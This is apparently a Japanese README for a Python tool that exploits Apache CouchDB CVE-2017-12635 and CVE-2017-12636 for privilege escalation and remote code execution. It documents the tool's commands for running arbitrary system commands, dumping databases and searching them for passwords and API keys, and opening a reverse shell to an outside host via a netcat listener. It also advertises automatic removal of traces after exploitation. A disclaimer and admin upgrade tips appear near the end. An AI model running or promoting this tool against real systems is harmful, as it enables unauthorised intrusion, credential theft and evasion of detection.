
CouchDB の CVE-2017-12635/12636 を悪用して権限昇格と RCE を実行し、コマンド実行、データベース閲覧、リバースシェルを備えた対話型シェルを提供します。
このツールは、Apache CouchDB の 2 つの重大な脆弱性を悪用します。
| CVE | 説明 | 深刻度 |
|---|---|---|
| CVE-2017-12635 | JSON パーサー迂回による権限昇格 | 🔴 重大 |
| CVE-2017-12636 | Query Server を介したリモートコード実行 | 🔴 重大 |
curl http://target:5984/
# If version is 1.x.x or 2.0.x/2.1.0 → VULNERABLE
✨ 機能
✅ 自動エクスプロイト - すべてを支配する 1 つのコマンド
✅ 対話型シェル - 使いやすいコマンドインターフェース
✅ データベースビューア - すべてのデータベースとドキュメントを閲覧
✅ 完全な JSON 表示 - ドキュメントの完全な内容を確認
✅ グローバル検索 - すべてのデータベースからキーワードを検索
✅ システムコマンド - ターゲット上で任意のコマンドを実行
✅ リバースシェル - 完全な対話型シェルを取得
✅ コマンド履歴 - 操作を追跡
✅ 自動クリーンアップ - エクスプロイト後に痕跡を削除
✅ カラー出力 - 読みやすく理解しやすい
📦 インストール
前提条件
# Python 3.6+ required
python3 --version
クローンとインストール
# Clone the repository
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
# Install dependencies
pip install -r requirements.txt
依存パッケージ
requests>=2.25.0
urllib3>=1.26.0
🚀 使い方
基本的な使い方
# Simple exploit
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
# Example
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
コマンドラインオプション
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 コマンド
📊 使用例
couchdb> db
[+] 39 databases:
1. _replicator (0 docs)
2. _users (12 docs)
3. admin (5 docs)
4. passwords (25 docs)
5. core-configuration (8 docs)
...
couchdb> view passwords
[+] Viewing database: passwords
============================================================
[*] Total documents: 25
📄 Document #1
ID: user_admin
Full content:
{
"_id": "user_admin",
"username": "admin",
"password": "Admin123!",
"email": "[email protected]",
"role": "superadmin"
}
------------------------------------------------------------
couchdb> search password
[+] Searching for 'password' in all databases...
============================================================
✅ Found in 'passwords'
ID: user1
Content:
{
"username": "root",
"password": "rootpass123"
}
✅ Found in 'config'
ID: app_settings
Content:
{
"db_password": "secret123",
"api_key": "sk_live_abc123"
}
couchdb> exec whoami
[+] Executing: whoami
[+] Command executed!
couchdb> exec id
[+] Executing: id
[+] Command executed!
# On your machine (listener)
nc -lvnp 4444
# In the exploit
couchdb> reverse 10.0.0.1 4444
[+] Setting up reverse shell to 10.0.0.1:4444
[!] Make sure listener is running: nc -lvnp 4444
[?] Continue? (y/n): y
[+] Reverse shell triggered!
# You should get a shell on your listener!
🖼️ スクリーンショット
エクスプロイトの動作
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot
データベースビュー
https://via.placeholder.com/800x400?text=Database+View
リバースシェル
https://via.placeholder.com/800x400?text=Reverse+Shell
⚠️ 免責事項
重要:このツールは教育および許可されたテスト目的のみで使用してください。
🚫 明示的な許可なくシステムで使用しないでください
🚫 著者は誤用について一切責任を負いません
🚫 管理された環境または自身のシステムでのみ使用してください
✅ テスト前に必ず文書による許可を取得してください
✅ 責任ある情報開示の慣行に従ってください
このツールを使用することで、これらの条件に同意したものとみなされます。
🔐 セキュリティのヒント
システム管理者の方へ:
直ちに CouchDB ≥ 1.7.0 または ≥ 2.1.1 にアップグレードしてください
ファイアウォールを使用してポート 5984 へのアクセスを制限してください
認証を有効にし、強力なパスワードを使用してください
不審な活動がないかログを監視してください
インフラストラクチャの定期的なセキュリティ監査を実施してください
クイックフィックス
# Upgrade CouchDB
sudo apt-get update
sudo apt-get install couchdb=2.1.1 # Or latest version
# Restrict access
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 参考情報
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB セキュリティ
Exploit-DB
👤 著者
darabium
GitHub: @darabium
Telegram: @darabium
⭐ サポート
これが役に立つと思ったら:
⭐ リポジトリにスターを付ける
🐛 問題を報告する
🔧 改善に貢献する
📢 他の人と共有する
📄 ライセンス
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
セキュリティ研究のために ❤️ を込めて作られました
⬆ トップに戻る
| バージョン | 脆弱性の有無 | 修正バージョン |
|---|
| Apache CouchDB < 1.7.0 | ✅ はい | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ はい | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ はい | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ はい | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ いいえ | - |
| コマンド | 説明 | 例 |
|---|
db | すべてのデータベースとドキュメント数を表示 | db |
view <db> | データベース内のすべてのドキュメントを表示(完全な JSON) | view passwords |
raw <db> | サーバーの生のレスポンスを表示 | raw admin |
count <db> | データベース内のドキュメント数を数える | count users |
search <keyword> | すべてのデータベースでキーワードを検索 | search admin |
exec <command> | システムコマンドを実行 | exec whoami |
reverse <ip> <port> | リバースシェルをセットアップ | reverse 10.0.0.1 4444 |
history | コマンド履歴を表示 | history |
help | このメニューを表示 | help |
exit | クリーンアップして終了 | exit |